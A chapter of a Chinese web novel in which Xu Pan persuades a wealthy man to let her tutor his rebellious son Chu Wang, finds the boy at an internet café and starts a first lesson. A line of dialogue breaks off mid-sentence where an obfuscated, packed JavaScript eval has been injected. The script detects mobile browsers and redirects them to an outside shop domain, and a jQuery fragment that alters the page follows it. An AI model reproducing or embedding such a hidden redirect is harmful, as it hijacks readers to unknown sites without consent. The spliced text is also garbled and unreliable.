何玉最近总是腰疼，夜里都忍不住翻身，徐盼看在眼里。
她曾在店里看见过一款被吹得天花乱坠的护腰仪，就是价格让她望而却步。
周六上午，褚先生在家。
徐盼站在书房门前踌躇不决。
前两天何玉说补课的事，徐盼想了挺久，她需要这笔钱。
她不知道独自撑起一个家庭需要多大的能力，只知道何玉每天都很累，不仅仅是身体上的。
咚咚咚——
她深呼一口气，敲响了门。
“进。”
里头传来浑厚低沉的一声。
书房很空，徐盼尽可能自然的走到办公桌前。
中年男人抬起头，衣着休闲，但给人一种种不怒自威的压迫感。
褚常青不动声色打量了眼面前的女孩，标准的乖乖女好学生摸样，跟自家混球儿子完全相反。
“你是何阿姨的女儿徐盼吧，找我是有什么事吗？”他问。
徐盼大拇指不自觉掐着食指指腹，声音保持镇定道：“褚先生您好，冒昧打扰。我来找您是想说，我愿意帮褚望补课，我也有信心能把他的成绩提上去。”
褚常青有些诧异：“你妈妈不是怕影响你的学习吗？你跟她商量过了？”
“不影响的，我妈妈那边我会跟她讲，希望您能给我个机会试试。”
褚常青眼里多了丝欣赏，主动将补课费又提高了些，并承诺如果褚望的成绩能提高至一本线的水平，报酬翻倍。
过程比她想象中要顺利得多，徐盼眉间藏不住喜悦，出了书房在门口静站了好几分钟才平复心情。
不过来的时候她都没细想，给褚望提高成绩是不难的，难的是怎么才能不像前几任家教那样，没几天就被赶走。
而且照目前这个情况看，褚望似乎挺讨厌自己的。
“喂——”
走廊拐角处，褚望出声打断她的思绪。
想什么来什么。
徐盼在对方质问的眼神中走到他跟前，微仰起头。
“你在我爸书房门口鬼鬼祟祟干什么？”褚望紧盯着她的眸子，想在其中找出一丝慌乱。
徐盼想主动交好，但思来想去找不到突破口，默了会儿才淡声道：“从现在开始我是你新的补课老师，每周六周日下午两点开始，相处愉快。”
她说完扶了下镜框，褚望半分钟后才反应过来，眉头紧蹙。“你？”
“嗯，我的成绩还不错，你放心。”徐盼觉得自己的眼神非常真诚。
但看在对方眼里，却莫名厌烦。
刚送走一个，现在又蹦跶出来一个。
“呵，搞什么。”褚望冷哼了声，转身上楼。
何玉是在中午吃饭的时候知道这件事的，徐盼再三保证不会影响学习，她无奈只能选择同意，毕竟也已经先斩后奏了。
下午两点，徐盼收拾好东西准时出现在褚望房间门口。
她像平常上学时一样，绑了个高马尾，胸前抱着一堆学习资料。
敲了三遍门，里头都没有回应。
“小褚应该是出去了哦。”路过的钟点阿姨见状提醒道。
徐盼微皱起眉，询问：“那您知道他去哪了吗？”
对方摇摇头，褚望的行踪她们自然是不知道的。
好在阿姨那有褚望的电话，徐盼记下号码后便拿自己手机拨通。
“谁啊。”
那头是在打过去第四遍时才接通的，语气不耐烦，周围声音嘈杂，伴随着同伴的吼叫声。
徐盼把手机拿远些，清了清嗓子道：“已经两点半了，我们说好了两点开始补课你在哪呢。”
对面听到是她的声音后愣了片刻，随后发出冷笑：“谁跟你说好了，家教是我爸找的我又没同意，要补你给他补去。”
只蹦出这么冷冰冰的两句，电话就被毫不犹豫挂断，后面再打不通。
这个局面是早就料想过的。
徐盼背脊轻抵在木门上，微微垂着头，睫毛像一层细密的浅影，严严实实遮住了眼底的落寞。
良久，她重新抬起头，回房间放下东西后出了门。
上次在宋逸倾家附近碰见了褚望，没记错的话，那边有家网吧，从刚才打电话的背景音里也能听出来。
只能去碰碰运气了。
风吹得有些凉，地上雪还没完全化。
徐盼第一次踏进网吧，前台小伙打量了她两眼，问她成年了没有。
“我来找个人。”徐盼把身份证拿给对方看，刚好成年半个月。
“一看你也不是来上网打游戏的。”对方调侃后又问她找谁，在听到褚望的名字后眉尾挑起再次仔细打量了她几眼，很是稀奇。
大厅里头烟味很重，徐盼不自觉屏住呼吸往前台说的最里面那处包间走去。
门口的玻璃窗能清晰看见里边的景象，褚望的侧脸恰好落进她的视线里。
他微微垂着眼，视线牢牢锁在电脑屏幕上，神情专注，下颌绷出冷硬的线条。
徐盼不知道他这把游戏还要打多久，总归不想继续耽误补课的进度，抬手敲了敲门。
只是里面几人都带着耳机，没一个人听见，徐盼眼底掠过一丝浅淡的不耐烦，索性直接握住门把手轻轻一旋，推门走了进去。
包间里出乎意外的没有烟味，桌上只摆了几瓶饮料和一些零食泡面。
最先注意到她的是于卓凡，对方显然还记着上次的过节，脱下耳机怒视她道：“不是大姐，你怎么找到这来的？”
徐盼没给他眼神，向前两步走到褚望桌子旁，开口道：“我有话和你说。”
褚望？？？
屋内其余四人全都抻着脖子看向这边，陈扬见褚望头都没抬一下，抬手推了推，眼睛一直在两人身上游走。
什么情况，没听说过这女生还和褚望认识啊，真认识的话上次在食堂褚望也不会跟个局外人一样。
几人好奇等待后文。
刚好打完一局，褚望摘下耳机，身子向后靠，漫不经心问：“怎么找到这的？”
“猜的。”徐盼如实说。
褚望闻言挑了挑眉，似是不信。“猜的？看来你倒是挺了解我。”
“能出去说吗？”徐盼往门口走，看着他道。
旁边吃瓜的几人七嘴八舌吵着。
“就在这说呗，有什么是我们哥几个不能听的。”
“就是，褚哥你骗人家好学生的感情了啊？”
“这姑娘不前两天还跟小凡有过节呢吗？咋你俩又搞上了？速度啊！”
褚望斜斜扫了几人一眼，起身往门口去。
出了包间，那股难闻的烟味又钻入鼻腔。
徐盼抿了抿唇，好言劝他：“你现在跟我回去，还能在晚饭前结束补习，今天褚先生在家，你也不希望他生气吧。”
褚望怀疑她这是故意拿褚常青给自己施压呢，眼神里带了丝嫌弃。
他又不是吓大的，褚常青表面上看着温文儒雅，实际上却依然秉持着“棍棒底下出孝子”这套观念，从小到大他没少挨打。
奈何褚望的骨头实在是太硬，挨了这么多年的打还是没屈服，照样浑。
“真是不巧，我就喜欢看我爸生气。他哪次要是不生气，我都要怀疑他是不是被夺舍了。”褚望嗤笑着说完便要转身拉开包间门回去。
他觉得自己似乎是给对方好脸色给太多了，才让人蹬鼻子上脸。
“等等......”
徐盼先一步挡在门前，眼神虚虚盯着对方的脸。她飞快反思了下自己刚才说的话是有点不太妥当。
“我不知道是不是我刚才的话让你不高兴了，如果是的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721275|208665||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
话我向你道歉，对不起。”
褚望垂着眼皮就这么定定看着她，看看她还能再说些什么。
徐盼又道：“帮你补习这件事是我跟褚先生争取来的，你需要提高成绩，我也很需要这笔补课费，所以希望你能给我个机会。”
“你这是在求我么？”褚望确实有点意料之外。
长了一副好像永远都不会低头的倔强模样，实际上倒是挺能屈能伸，蛮有意思的。
“嗯，求你。”徐盼点头。
于她而言，那些旁人看重的脸面，本就不值一提。
比起虚无缥缈的自尊，达成目的才是重中之重。
“就这么缺钱？”
“我要不缺钱的话，也不会和我妈挤在一个保姆房里。”
“......”褚望没话讲，在徐盼的注视下别过眼。“我进去拿个手机。”
里面人见他真要走，都惊掉下巴。“不是哥，她到底谁啊跟你啥关系啊？什么情况？？”
于卓凡更是没心情玩游戏，紧盯着褚望的表情想找出答案。
“没有关系。”褚望拿起桌边的手机头也不回的走了。
能有什么关系，可能也就是上过一两节课的关系。
过几天褚常青便又要去国外出差，天高皇帝远的谁管得了自己，今天就当做个善事给人家个面子，毕竟都服软了不是。
褚望在心里道。
直到出了网吧，徐盼才久违的呼吸了一口新鲜空气，微皱起的眉头透露着嫌弃。
褚望敏锐的捕捉到，啧了声：“怎么，好学生看不起我们这种泡网吧的？”
“没有。”徐盼走出好一段路才温声回复，听不出波澜。
只是路过那栋老洋房的时候，微微侧过头张望了一眼，而后又加快了脚步。
——
褚望的房间很大，布局分明，一侧隔出了独立规整的学习区，深色的实木书桌挨着落地玻璃窗摆放，稍微侧头便能俯瞰到别墅前方被精心打理过的花园。
补课前徐盼就已经写了补习计划，褚望其实成绩不算差，中等偏下。加上他平时也没怎么认真学，只要稍微上点心，就能有明显的提升。
徐盼把准备好的各科测试习题递给他，认真道：“这里面涵盖了每科最基础的知识点，是一道都不能错的，你先完成，不会的我再给你讲。”
褚望坐在旁边懒懒撑着脑袋，将递过来的卷子随手往旁边一扔，全然忘了自己回来是干什么的。
徐盼耐着性子捡回来重新放到他面前，也不恼。
褚望深邃的眸子里多了点探究。
真的是淡然吗，也不见得吧。
“笑一个。”他声线很低，随意中带着些沙哑。
“什么？”徐盼被这无厘头的一句搞得有点懵。
褚望搭在桌面的指尖有一下没一下的轻敲着，继续道：“不是想让我好好学习么，给我笑一个，就听你的。”
笑一个，多莫名其妙的一句话。
但徐盼还是想都没想照做了，挤出一个标准的微笑弧度。
她没兴趣也没工夫去和对方讨论为什么要这样做，她的微笑也不宝贵不值钱，当然毫不吝啬。
褚望道：“你果然比阿金听话多了。”
“知道阿金是谁么，是我小时候养的一条狗，不过它不怎么听话，我就把他送人了。”
“这样啊。”徐盼眼神落在卷子上示意：“现在可以开始写了吗？”
“......”褚望大概觉得没什么意思，扭过头没了下文。
说是会好好学，但实际一整堂课下来，褚望总共打了五次瞌睡，徐盼最后一次把人叫醒后，终于被对方极其不耐烦的赶了出去。
门被很大力道关上。
徐盼在门外站了会儿，用手机号搜索对方的微信发过去好友验证。